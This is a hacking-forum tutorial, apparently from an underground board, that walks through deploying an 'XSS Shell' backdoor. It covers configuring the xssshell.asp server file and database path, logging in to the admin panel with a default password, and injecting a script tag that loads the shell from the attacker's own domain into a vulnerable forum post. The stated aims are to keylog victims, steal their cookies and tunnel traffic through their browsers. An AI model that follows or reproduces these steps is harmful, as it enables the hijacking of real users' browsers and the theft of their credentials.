XSS - Tunnels
Please read this for overflowing everything !
1. MY GRAMMAR ISN'T GOOD ! SO IF YOU FIND MISTAKES PLEASE PM ME !
2. THIS ISN'T A TUTORIAL ABOUT NOOB STUFF !
IF YOU WANT TO BE A REAL HACKER AND IF YOU WANT TO LEARN SOMETHING READ THIS !
1. MY GRAMMAR ISN'T GOOD ! SO IF YOU FIND MISTAKES PLEASE PM ME !
2. THIS ISN'T A TUTORIAL ABOUT NOOB STUFF !
IF YOU WANT TO BE A REAL HACKER AND IF YOU WANT TO LEARN SOMETHING READ THIS !
What is XSS - Tunneling ?
Quote: XSS Shell is a cross-site scripting backdoor into the victim's browser which enables an attacker to issue commands and receive responses. During a normal XSS attack an attacker only has one chance to control a victim's browser; however, the XSS Shell keeps the connection between the attacker and the victim open to allow the attacker to continuously manipulate the victim's browser. XSS Shell works by setting up an XSS Channel, an AJAX application embedded into the victim's browser, that can obtain commands and send back responses. To enable the XSS Shell an attacker needs to inject the XSS Shell's Javascript reference by utilizing a XSS flaw on a website. Once the victim's browser is infected with the XSS Shell and the XSS Channel is created, the attacker can issue instructions to the infected browser. Also, the Attacker can use a XSS Tunnel to transfer HTTP traffic through the XSS Channel and the victim's browser; in turn, exploiting the victim's credentials to bypass authentications and IP Restrictions. The XSS Tunnel is a HTTP Proxy that sits on an attacker's computer, and any tool that is configured to use it will tunnel its traffic through the XSS Channel.
What do I need ?
- XSS - Tunnel Exploit Pack that you can Downloade Here ! !
- XSS Vulnarable Page
- A Webhoster which supports .asp files
What can I do with an Exploited user ?
- Send Commands to them // Keylog // MSGBOX
- You can use their Computer as a Proxy. // Vic 5 Socks. !
Where are the disadvantages ?
The Victim is just useable for you if he stays in the Web Browser
Okay lets begin !
I Explain this Tutorial in steps so here you go:
1. We need a Webhost that Supports .asp Documents !
Just search one and set up a host.. thats all ;)
2. Downloade the XSS Shell.
Extract it to your desktop and open up xssshell.asp with Notepad++ or an other Editor.
Now we are scrolling down to the SERVER CONFIG Located on Lines 66 - 84.
But we are just going to edit the first line (72 !) just do this:
Code
// You XSSShell Server
var SERVER = "http://www.xssshelltest.com:60000/";and replace this to:
Code
// You XSSShell Server
var SERVER = "http://www.yourdomain.com/folder/";3. Okay. Great that was the first step, now we are going to open up the folder ADMIN and we are going to edit the db file.
So just double click it.
As we see it's a .asp file too. So move to line 22/23 where it says:
Code
'// DATABASE CONFIGURATION
Const DBPATH = "C:\XSS Shell\XSSShell-060\db\shell.mdb"So we have to edit this again we must replace this
C:\XSS Shell\XSSShell-060
with our Hosting part.
To do that we are writing a little script which looks like this:
Code
<%
Response.Write Server.MapPath(".")
%>Save this as Check.asp and uploade it to your server.
Now navigae to this location and you will see something like this:
E:\User\YourAccName
So we are going to paste this into our db.asp file. This looks like this:
Code
'// DATABASE CONFIGURATION
Const DBPATH = "E:\User\YourAccName\db\shell.mdb"4. Save everything and uploade everythinhg to your Server.
5. The biggest part is down.
Now that we have setted up everything login to your admin panel.
Navigate your Web Browser to
www.yourdomain.com/folder/admin/Default.asp !
There you log in with the password
w00t
If you want to test if it is working you go to the sample_victim folder open up default.asp and you are going to edit the URL at line
98
Which we are just replacing by our own xssshell.asp location !
Now navigate to the sample_victim folder in your browser and open up the default file.
If you are now seeing the victim in your admin panel, everything works properly.
6. ;) Congrats you are now owning a XSS Shell Panel, but what you are doing with that ?
I will show you !
7. Okay I said you need a XSS Vulna. Site lets say we have got a Forum on a Wordpress Site which is XSS Vulna. so just include this script to the page.
Code
<script src="http://www.yourdomain.com/xssshell.asp"></script>8. Now if someone visits your post this script gets executed in his Server !
And you get Acess to all his actions, and you can controll his server with the tools in the Admin Panel 😈
You can also get cookies ;)
WELL THIS WAS PART ONE !
I AM GOING TO CONTINUE IF YOU LIKE IT WITH
"XSS - TUNNEL Vic. Sock 5 proxy HOW ?"
Happy hacking 😈
